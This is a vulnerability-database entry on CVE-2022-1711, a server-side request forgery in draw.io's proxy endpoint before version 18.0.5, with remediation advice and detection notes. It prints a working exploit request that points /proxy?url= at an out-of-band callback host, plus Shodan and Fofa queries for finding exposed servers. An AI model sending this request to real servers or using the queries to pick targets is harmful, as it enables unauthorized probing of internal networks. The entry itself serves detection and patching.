🔙 목록으로 돌아가기

CVE-2022-1711: draw.io < 18.0.5 - Server Side Request Forgery (SSRF)

Titledraw.io < 18.0.5 - Server Side Request Forgery (SSRF)
Authorritikchaddha
SeverityHigh
ImpactUnauthenticated attackers can perform SSRF attacks via the proxy endpoint to access internal resources, scan internal networks, or retrieve sensitive data from internal systems.
RemediationUpdate to draw.io/diagrams.net version 18.0.5 or later. The patch adds isLinkLocalAddress() checks to restrict proxy request destinations. If patching isn't possible, implement network controls to limit server connections to internal systems.
CVSS Score7.5
EPSS Score0.30074
CVE IDCVE-2022-1711
CWE IDCWE-918
Shodan Queryhtml:"draw.io"
Fofa Querybody="draw.io"
Tags cve cve2022 ssrf drawio diagrams jgraph vuln

🔍 Vulnerability Description

Server-Side Request Forgery (SSRF) vulnerability in draw.io (also known as diagrams.net) prior to version 18.0.5 allows attackers to bypass URL validation restrictions in the ProxyServlet component. The vulnerability exists because the application does not properly validate URLs passed to its proxy endpoint, allowing attackers to make requests to internal services or external servers. This can lead to unauthorized access to internal resources and potential data exfiltration.

🌐 HTTP Request

GET /proxy?url=http://d5jm0thle0o3814s9j4gh6jy3s4n6ih7f.oast.site HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.5
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1711.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1711.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A